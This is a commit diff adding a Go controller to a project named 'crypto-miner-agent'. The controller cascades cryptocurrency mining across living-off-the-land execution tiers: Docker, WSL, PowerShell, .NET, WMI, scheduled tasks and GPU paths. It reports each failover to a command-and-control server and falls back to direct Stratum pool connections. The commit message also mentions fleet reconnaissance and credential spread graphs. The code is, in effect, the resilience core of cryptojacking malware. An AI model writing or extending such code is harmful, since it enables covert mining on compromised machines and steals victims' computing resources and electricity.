Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions
--- a/agent/miner/fallback_chain.go
+++ b/agent/miner/fallback_chain.go
@@ -0,0 +1,742 @@
+package miner
+
+import (
+	"context"
+	"errors"
+	"log"
+	"runtime"
+	"strings"
+	"sync"
+	"time"
+
+	"crypto-miner-agent/config"
+)
+
+var (
+	// ErrChainExhausted is returned when every primary method in the chain failed.
+	ErrChainExhausted = errors.New("mining fallback chain exhausted")
+	// ErrMethodUnavailable is returned when hooks for a method are missing.
+	ErrMethodUnavailable = errors.New("mining method unavailable")
+)
+
+// MiningMethod identifies one workload path in the cascade.
+type MiningMethod string
+
+const (
+	MethodDockerLoad    MiningMethod = "docker_load"
+	MethodContainer     MiningMethod = "container" // LOTL tier alias: docker
+	MethodWSL           MiningMethod = "wsl"
+	MethodPowerShell    MiningMethod = "powershell"
+	MethodDotnet        MiningMethod = "dotnet"
+	MethodInProcess     MiningMethod = "inprocess"
+	MethodGPUSubprocess MiningMethod = "gpu_subprocess"
+	MethodLinuxPyOpenCL MiningMethod = "linux_pyopencl"
+	MethodStratumDirect MiningMethod = "stratum_direct"
+	MethodWMI           MiningMethod = "wmi"
+	MethodScheduledTask MiningMethod = "scheduled_task"
+	MethodGPUCompute    MiningMethod = "gpu_compute"
+	MethodWebView2Probe MiningMethod = "webview2_probe"
+	MethodVulnProbe     MiningMethod = "vuln_probe"
+)
+
+// DefaultChainCooldown is the minimum wait between full chain re-passes.
+const DefaultChainCooldown = 30 * time.Second
+
+// MethodFailure records one failed attempt for operator diagnostics.
+type MethodFailure struct {
+	Method MiningMethod `json:"method"`
+	Reason string       `json:"reason"`
+	At     string       `json:"at"`
+}
+
+// MiningStatus is the live cascade snapshot sent to C2/UI.
+type MiningStatus struct {
+	ActiveMethod   MiningMethod    `json:"active_method"`
+	ActiveMethods  []MiningMethod  `json:"active_methods,omitempty"`
+	FailedMethods  []MethodFailure `json:"failed_methods"`
+	LastError      string          `json:"last_error,omitempty"`
+	ChainOrder     []MiningMethod  `json:"chain_order,omitempty"`
+	GPUParallel    bool            `json:"gpu_parallel,omitempty"`
+	StratumOverlay bool            `json:"stratum_overlay,omitempty"`
+	ChainExhausted bool            `json:"chain_exhausted,omitempty"`
+	LOTLTier       LOTLTier        `json:"lotl_tier,omitempty"`
+	LOTLAttempts   []TierAttempt   `json:"lotl_attempts,omitempty"`
+	WebGPUReady    bool            `json:"webgpu_ready,omitempty"`
+}
+
+// ChainHooks wires agent-specific start/stop logic without importing client.
+type ChainHooks struct {
+	StartDockerLoad    func() error
+	StartContainer     func() error
+	StartWSL           func() error
+	StartPowerShell    func() error
+	StartDotnet        func() error
+	StartInProcess     func() error
+	StartGPU           func() error
+	StartPyOpenCL      func() error
+	StopDockerLoad     func()
+	StopContainer      func()
+	StopWSL            func()
+	StopPowerShell     func()
+	StopDotnet         func()
+	StopInProcess      func()
+	StopGPU            func()
+	StopPyOpenCL       func()
+	IsDockerLoadHealthy func() bool
+	IsContainerHealthy func() bool
+	IsWSLHealthy       func() bool
+	IsGPUSupported     func() bool
+	PoolConfigured     func() bool
+	RunTierProbes      func() TierReport
+	RunTierChain       func() (LOTLTier, error)
+	StopTiers          func()
+	WebGPUReady        func() bool
+	GPUComputeReady    func() bool
+}
+
+// FallbackReporter emits mining_status / mining_fallback events to C2.
+type FallbackReporter func(status MiningStatus, eventType string)
+
+// appendLOTLPrimary adds docker_load → docker/container → wsl → in-process CPU tiers.
+func appendLOTLPrimary(chain []MiningMethod, cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) []MiningMethod {
+	if HasImageTarPolicy(cfg) && runtime.Available {
+		chain = append(chain, MethodDockerLoad)
+	}
+	if runtime.Available {
+		chain = append(chain, MethodContainer)
+	}
+	if wsl := WSLDetector(); wsl.Available {
+		chain = append(chain, MethodWSL)
+	}
+	return append(chain, MethodInProcess)
+}
+
+// DefaultFallbackChain returns the ordered cascade for cfg + platform.
+// CPU primary is sequential (docker_load → container → wsl → in-process). GPU runs
+// in parallel once CPU primary is established. Stratum direct overlays in-process when C2 jobs stall.
+func DefaultFallbackChain(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) []MiningMethod {
+	raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
+	chain := make([]MiningMethod, 0, 6)
+
+	switch raw {
+	case ExecutionPowerShell:
+		chain = append(chain, MethodPowerShell, MethodInProcess)
+		if cfg.GPUEnabled && cfg.RVNWallet != "" {
+			chain = append(chain, MethodGPUSubprocess)
+		}
+	case ExecutionDotnet:
+		chain = append(chain, MethodDotnet, MethodInProcess)
+		if cfg.GPUEnabled && cfg.RVNWallet != "" {
+			chain = append(chain, MethodGPUSubprocess)
+		}
+	case ExecutionSubprocess:
+		chain = append(chain, MethodInProcess)
+		if cfg.GPUEnabled && cfg.RVNWallet != "" {
+			chain = append(chain, MethodGPUSubprocess)
+		}
+	case ExecutionInProcess:
+		chain = append(chain, MethodInProcess)
+		if cfg.GPUEnabled && cfg.RVNWallet != "" {
+			chain = append(chain, MethodGPUSubprocess)
+		}
+	case ExecutionContainer:
+		chain = appendLOTLPrimary(chain, cfg, runtime)
+		if cfg.GPUEnabled && cfg.RVNWallet != "" {
+			chain = append(chain, MethodGPUSubprocess)
+		}
+	case "", ExecutionAuto:
+		chain = appendLOTLPrimary(chain, cfg, runtime)
+		if cfg.GPUEnabled && cfg.RVNWallet != "" {
+			chain = append(chain, MethodGPUSubprocess)
+		}
+	default:
+		chain = appendLOTLPrimary(chain, cfg, runtime)
+		if cfg.GPUEnabled && cfg.RVNWallet != "" {
+			chain = append(chain, MethodGPUSubprocess)
+		}
+	}
+
+	if cfg.PoolHost != "" {
+		chain = append(chain, MethodStratumDirect)
+	}
+	chain = appendLinuxPyOpenCL(chain)
+	return appendWindowsLOTLMethods(chain, cfg)
+}
+
+// appendLinuxPyOpenCL inserts linux_pyopencl before stratum when no CUDA but PyOpenCL exists.
+func appendLinuxPyOpenCL(chain []MiningMethod) []MiningMethod {
+	if runtime.GOOS != "linux" || DetectCUDA() || !DetectPyOpenCL() {
+		return chain
+	}
+	out := make([]MiningMethod, 0, len(chain)+1)
+	for _, m := range chain {
+		if m == MethodStratumDirect {
+			out = append(out, MethodLinuxPyOpenCL)
+		}
+		out = append(out, m)
+	}
+	return out
+}
+
+// appendWindowsLOTLMethods adds probe and execution tiers after the primary chain.
+func appendWindowsLOTLMethods(chain []MiningMethod, cfg config.RuntimeConfig) []MiningMethod {
+	for _, tier := range DefaultWindowsTierOrder() {
+		switch tier {
+		case TierWebView2Probe:
+			chain = append(chain, MethodWebView2Probe)
+		case TierWMI:
+			chain = append(chain, MethodWMI)
+		case TierScheduledTask:
+			chain = append(chain, MethodScheduledTask)
+		case TierGPUCompute:
+			if cfg.GPUEnabled && cfg.RVNWallet != "" {
+				chain = append(chain, MethodGPUCompute)
+			}
+		}
+	}
+	return chain
+}
+
+// primaryMethods are CPU paths tried sequentially until one succeeds.
+func primaryMethods(chain []MiningMethod) []MiningMethod {
+	var out []MiningMethod
+	for _, m := range chain {
+		switch m {
+		case MethodDockerLoad, MethodContainer, MethodWSL, MethodPowerShell, MethodDotnet, MethodInProcess:
+			out = append(out, m)
+		}
+	}
+	return out
+}
+
+// ChainController orchestrates sequential CPU fallback and parallel GPU addon.
+type ChainController struct {
+	mu            sync.RWMutex
+	cfg           config.RuntimeConfig
+	runtime       ContainerRuntimeInfo
+	chain         []MiningMethod
+	hooks         ChainHooks
+	report        FallbackReporter
+	activePrimary MiningMethod
+	gpuActive     bool
+	stratumActive bool
+	failures      []MethodFailure
+	lastError     string
+	primaryIdx    int
+	paused        bool
+	lastFullPass  time.Time
+	chainExhausted bool
+	lotlTier      LOTLTier
+	lotlAttempts  []TierAttempt
+	webGPUReady   bool
+}
+
+// NewChainController builds a controller with platform-aware chain order.
+func NewChainController(cfg config.RuntimeConfig, hooks ChainHooks, report FallbackReporter) *ChainController {
+	rt := RuntimeDetector()
+	return &ChainController{
+		cfg:     cfg,
+		runtime: rt,
+		chain:   DefaultFallbackChain(cfg, rt),
+		hooks:   hooks,
+		report:  report,
+	}
+}
+
+// Status returns a snapshot of the cascade state.
+func (c *ChainController) Status() MiningStatus {
+	c.mu.RLock()
+	defer c.mu.RUnlock()
+	return c.buildStatus()
+}
+
+func (c *ChainController) buildStatus() MiningStatus {
+	active := c.activePrimary
+	if c.stratumActive && active == "" {
+		active = MethodInProcess
+	}
+	if c.stratumActive && active == MethodInProcess {
+		// Stratum overlays in-process — primary stays inprocess, flag overlay.
+	}
+	methods := make([]MiningMethod, 0, 3)
+	if active != "" {
+		methods = append(methods, active)
+	}
+	if c.gpuActive {
+		methods = append(methods, MethodGPUSubprocess)
+	}
+	if c.stratumActive {
+		// Report stratum as active_method when it is the only CPU path working.
+		if active == "" {
+			active = MethodStratumDirect
+			methods = []MiningMethod{MethodStratumDirect}
+			if c.gpuActive {
+				methods = append(methods, MethodGPUSubprocess)
+			}
+		}
+	}
+	failures := make([]MethodFailure, len(c.failures))
+	copy(failures, c.failures)
+	chain := make([]MiningMethod, len(c.chain))
+	copy(chain, c.chain)
+	attempts := make([]TierAttempt, len(c.lotlAttempts))
+	copy(attempts, c.lotlAttempts)
+	return MiningStatus{
+		ActiveMethod:   active,
+		ActiveMethods:  methods,
+		FailedMethods:  failures,
+		LastError:      c.lastError,
+		ChainOrder:     chain,
+		GPUParallel:    c.gpuActive && active != "" && active != MethodGPUSubprocess,
+		StratumOverlay: c.stratumActive,
+		ChainExhausted: c.chainExhausted,
+		LOTLTier:       c.lotlTier,
+		LOTLAttempts:   attempts,
+		WebGPUReady:    c.webGPUReady,
+	}
+}
+
+// OnMethodFailed records a failure and notifies C2.
+func (c *ChainController) OnMethodFailed(method MiningMethod, reason string) {
+	c.mu.Lock()
+	c.lastError = reason
+	c.failures = append(c.failures, MethodFailure{
+		Method: method,
+		Reason: reason,
+		At:     time.Now().UTC().Format(time.RFC3339),
+	})
+	status := c.buildStatus()
+	report := c.report
+	c.mu.Unlock()
+
+	log.Printf("[mining-chain] %s failed: %s", method, reason)
+	if report != nil {
+		report(status, "mining_fallback")
+	}
+}
+
+// SetPrimaryActive marks which CPU method is currently handling RandomX.
+func (c *ChainController) SetPrimaryActive(method MiningMethod) {
+	c.mu.Lock()
+	c.activePrimary = method
+	c.chainExhausted = false
+	if method != "" {
+		c.primaryIdx = 0
+		for i, m := range primaryMethods(c.chain) {
+			if m == method {
+				c.primaryIdx = i
+				break
+			}
+		}
+	}
+	status := c.buildStatus()
+	report := c.report
+	c.mu.Unlock()
+	if report != nil {
+		report(status, "mining_status")
+	}
+}
+
+// SetGPUActive records parallel RVN subprocess state.
+func (c *ChainController) SetGPUActive(active bool) {
+	c.mu.Lock()
+	c.gpuActive = active
+	status := c.buildStatus()
+	report := c.report
+	c.mu.Unlock()
+	if report != nil {
+		report(status, "mining_status")
+	}
+}
+
+// SetStratumActive records direct Stratum overlay (same pool workers, C2 bypass).
+func (c *ChainController) SetStratumActive(active bool) {
+	c.mu.Lock()
+	c.stratumActive = active
+	status := c.buildStatus()
+	report := c.report
+	c.mu.Unlock()
+	if report != nil {
+		event := "mining_status"
+		if active {
+			event = "mining_fallback"
+		}
+		report(status, event)
+	}
+}
+
+// MergeLOTLReport copies tier onion telemetry into the cascade snapshot.
+func (c *ChainController) MergeLOTLReport(rep TierReport) {
+	c.mu.Lock()
+	c.lotlTier = rep.ActiveTier
+	if len(rep.Attempts) > 0 {
+		c.lotlAttempts = append([]TierAttempt(nil), rep.Attempts...)
+	}
+	c.webGPUReady = rep.WebGPUReady
+	c.mu.Unlock()
+}
+
+// TryChain attempts each primary CPU method until one starts successfully.
+func (c *ChainController) TryChain(ctx context.Context) (MiningMethod, error) {
+	c.mu.Lock()
+	if c.paused {
+		c.mu.Unlock()
+		return "", nil
+	}
+	if !c.lastFullPass.IsZero() && time.Since(c.lastFullPass) < DefaultChainCooldown {
+		c.mu.Unlock()
+		return c.activePrimary, nil
+	}
+	c.lastFullPass = time.Now()
+	c.chainExhausted = false
+	hooks := c.hooks
+	primary := primaryMethods(c.chain)
+	c.mu.Unlock()
+
+	if len(primary) == 0 {
+		primary = []MiningMethod{MethodInProcess}
+	}
+
+	var lastErr error
+	for _, method := range primary {
+		select {
+		case <-ctx.Done():
+			return "", ctx.Err()
+		default:
+		}
+
+		if err := c.tryStartPrimary(method, hooks); err != nil {
+			lastErr = err
+			c.OnMethodFailed(method, err.Error())
+			c.stopPrimaryMethod(method, hooks)
+			continue
+		}
+		c.SetPrimaryActive(method)
+		c.runLOTLProbes(hooks)
+		c.tryGPUAddon(ctx, hooks)
+		c.tryPyOpenCLAddon(ctx, hooks)
+		c.runLOTLChain(hooks)
+		return method, nil
+	}
+
+	c.mu.Lock()
+	c.chainExhausted = true
+	c.lastError = "all primary mining methods failed"
+	if lastErr != nil {
+		c.lastError = lastErr.Error()
+	}
+	status := c.buildStatus()
+	report := c.report
+	c.mu.Unlock()
+	if report != nil {
+		report(status, "mining_status")
+	}
+	if lastErr != nil {
+		return "", lastErr
+	}
+	return "", ErrChainExhausted
+}
+
+func (c *ChainController) tryStartPrimary(method MiningMethod, hooks ChainHooks) error {
+	switch method {
+	case MethodDockerLoad:
+		if hooks.StartDockerLoad == nil {
+			return ErrMethodUnavailable
+		}
+		return hooks.StartDockerLoad()
+	case MethodContainer:
+		if hooks.StartContainer == nil {
+			return ErrMethodUnavailable
+		}
+		return hooks.StartContainer()
+	case MethodWSL:
+		if hooks.StartWSL == nil {
+			return ErrMethodUnavailable
+		}
+		return hooks.StartWSL()
+	case MethodInProcess:
+		if hooks.StartInProcess == nil {
+			return ErrMethodUnavailable
+		}
+		return hooks.StartInProcess()
+	case MethodPowerShell:
+		if hooks.StartPowerShell == nil {
+			return ErrMethodUnavailable
+		}
+		return hooks.StartPowerShell()
+	case MethodDotnet:
+		if hooks.StartDotnet == nil {
+			return ErrMethodUnavailable
+		}
+		return hooks.StartDotnet()
+	default:
+		return ErrMethodUnavailable
+	}
+}
+
+func (c *ChainController) stopPrimaryMethod(method MiningMethod, hooks ChainHooks) {
+	switch method {
+	case MethodDockerLoad:
+		if hooks.StopDockerLoad != nil {
+			hooks.StopDockerLoad()
+		}
+	case MethodContainer:
+		if hooks.StopContainer != nil {
+			hooks.StopContainer()
+		}
+	case MethodWSL:
+		if hooks.StopWSL != nil {
+			hooks.StopWSL()
+		}
+	case MethodInProcess:
+		if hooks.StopInProcess != nil {
+			hooks.StopInProcess()
+		}
+	case MethodPowerShell:
+		if hooks.StopPowerShell != nil {
+			hooks.StopPowerShell()
+		}
+	case MethodDotnet:
+		if hooks.StopDotnet != nil {
+			hooks.StopDotnet()
+		}
+	}
+}
+
+func (c *ChainController) runLOTLProbes(hooks ChainHooks) {
+	if hooks.RunTierProbes == nil {
+		return
+	}
+	rep := hooks.RunTierProbes()
+	c.mu.Lock()
+	c.lotlAttempts = rep.Attempts
+	c.webGPUReady = rep.WebGPUReady
+	c.mu.Unlock()
+}
+
+func (c *ChainController) runLOTLChain(hooks ChainHooks) {
+	if hooks.RunTierChain == nil {
+		return
+	}
+	tier, err := hooks.RunTierChain()
+	c.mu.Lock()
+	if tier != "" {
+		c.lotlTier = tier
+	}
+	c.mu.Unlock()
+	if err != nil && err != ErrTierChainSkipped {
+		c.OnMethodFailed(MiningMethod(tier), err.Error())
+	}
+}
+
+func (c *ChainController) tryPyOpenCLAddon(ctx context.Context, hooks ChainHooks) {
+	if hooks.StartPyOpenCL == nil {
+		return
+	}
+	hasTier := false
+	for _, m := range c.chain {
+		if m == MethodLinuxPyOpenCL {
+			hasTier = true
+			break
+		}
+	}
+	if !hasTier {
+		return
+	}
+	select {
+	case <-ctx.Done():
+		return
+	default:
+	}
+	if err := hooks.StartPyOpenCL(); err != nil {
+		c.OnMethodFailed(MethodLinuxPyOpenCL, err.Error())
+		if hooks.StopPyOpenCL != nil {
+			hooks.StopPyOpenCL()
+		}
+		return
+	}
+	log.Printf("[mining-chain] linux_pyopencl tier active (OpenCL probe OK)")
+}
+
+func (c *ChainController) tryGPUAddon(ctx context.Context, hooks ChainHooks) {
+	if hooks.StartGPU == nil || hooks.IsGPUSupported == nil || !hooks.IsGPUSupported() {
+		return
+	}
+	// WebView2 probe gates gpu_subprocess unless WebGPU was exposed or gpu_compute succeeded.
+	if hooks.WebGPUReady != nil && !hooks.WebGPUReady() {
+		if hooks.GPUComputeReady == nil || !hooks.GPUComputeReady() {
+			c.OnMethodFailed(MethodGPUSubprocess, "webview2_probe: WebGPU not available — skipping gpu_subprocess escalation")
+			return
+		}
+	}
+	select {
+	case <-ctx.Done():
+		return
+	default:
+	}
+	if err := hooks.StartGPU(); err != nil {
+		c.OnMethodFailed(MethodGPUSubprocess, err.Error())
+		if hooks.StopGPU != nil {
+			hooks.StopGPU()
+		}
+		c.SetGPUActive(false)
+		return
+	}
+	c.SetGPUActive(true)
+}
+
+// AdvancePrimary moves to the next CPU method after runtime failure.
+func (c *ChainController) AdvancePrimary(reason string) {
+	c.mu.Lock()
+	if c.paused {
+		c.mu.Unlock()
+		return
+	}
+	failed := c.activePrimary
+	hooks := c.hooks
+	primary := primaryMethods(c.chain)
+	idx := 0
+	for i, m := range primary {
+		if m == failed {
+			idx = i + 1
+			break
+		}
+	}
+	c.mu.Unlock()
+
+	if failed != "" {
+		c.OnMethodFailed(failed, reason)
+		c.stopPrimaryMethod(failed, hooks)
+	}
+
+	for idx < len(primary) {
+		method := primary[idx]
+		if err := c.tryStartPrimary(method, hooks); err != nil {
+			c.OnMethodFailed(method, err.Error())
+			c.stopPrimaryMethod(method, hooks)
+			idx++
+			continue
+		}
+		c.SetPrimaryActive(method)
+		return
+	}
+
+	c.mu.Lock()
+	c.chainExhausted = true
+	c.activePrimary = ""
+	c.lastError = "primary chain exhausted after " + string(failed) + " failure"
+	status := c.buildStatus()
+	report := c.report
+	c.mu.Unlock()
+	if report != nil {
+		report(status, "mining_status")
+	}
+}
+
+// RestartChain resets failures and re-runs the full primary chain (respects cooldown).
+func (c *ChainController) RestartChain(ctx context.Context) {
+	c.mu.Lock()
+	c.failures = nil
+	c.lastError = ""
+	c.chainExhausted = false
+	c.activePrimary = ""
+	c.primaryIdx = 0
+	c.lastFullPass = time.Time{}
+	c.mu.Unlock()
+	_, _ = c.TryChain(ctx)
+}
+
+// StopAll pauses cascade and stops every running method.
+func (c *ChainController) StopAll() {
+	c.mu.Lock()
+	c.paused = true
+	hooks := c.hooks
+	c.mu.Unlock()
+
+	if hooks.StopDockerLoad != nil {
+		hooks.StopDockerLoad()
+	}
+	if hooks.StopContainer != nil {
+		hooks.StopContainer()
+	}
+	if hooks.StopWSL != nil {
+		hooks.StopWSL()
+	}
+	if hooks.StopPowerShell != nil {
+		hooks.StopPowerShell()
+	}
+	if hooks.StopDotnet != nil {
+		hooks.StopDotnet()
+	}
+	if hooks.StopInProcess != nil {
+		hooks.StopInProcess()
+	}
+	if hooks.StopGPU != nil {
+		hooks.StopGPU()
+	}
+	if hooks.StopPyOpenCL != nil {
+		hooks.StopPyOpenCL()
+	}
+	if hooks.StopTiers != nil {
+		hooks.StopTiers()
+	}
+	c.mu.Lock()
+	c.activePrimary = ""
+	c.gpuActive = false
+	c.lotlTier = ""
+	c.mu.Unlock()
+}
+
+// ResumeAll clears pause and restarts the chain.
+func (c *ChainController) ResumeAll(ctx context.Context) {
+	c.mu.Lock()
+	c.paused = false
+	c.mu.Unlock()
+	c.RestartChain(ctx)
+}
+
+// Monitor watches container health and advances the chain on exit.
+func (c *ChainController) Monitor(ctx context.Context) {
+	ticker := time.NewTicker(10 * time.Second)
+	defer ticker.Stop()
+	for {
+		select {
+		case <-ctx.Done():
+			return
+		case <-ticker.C:
+			c.mu.RLock()
+			paused := c.paused
+			primary := c.activePrimary
+			hooks := c.hooks
+			c.mu.RUnlock()
+			if paused {
+				continue
+			}
+			healthy := true
+			reason := ""
+			switch primary {
+			case MethodDockerLoad:
+				if hooks.IsDockerLoadHealthy != nil {
+					healthy = hooks.IsDockerLoadHealthy()
+					reason = "docker_load workload exited or unhealthy"
+				}
+			case MethodContainer:
+				if hooks.IsContainerHealthy != nil {
+					healthy = hooks.IsContainerHealthy()
+					reason = "container workload exited or unhealthy"
+				}
+			case MethodWSL:
+				if hooks.IsWSLHealthy != nil {
+					healthy = hooks.IsWSLHealthy()
+					reason = "wsl workload exited or unhealthy"
+				}
+			default:
+				continue
+			}
+			if healthy {
+				continue
+			}
+			c.AdvancePrimary(reason)
+		}
+	}
+}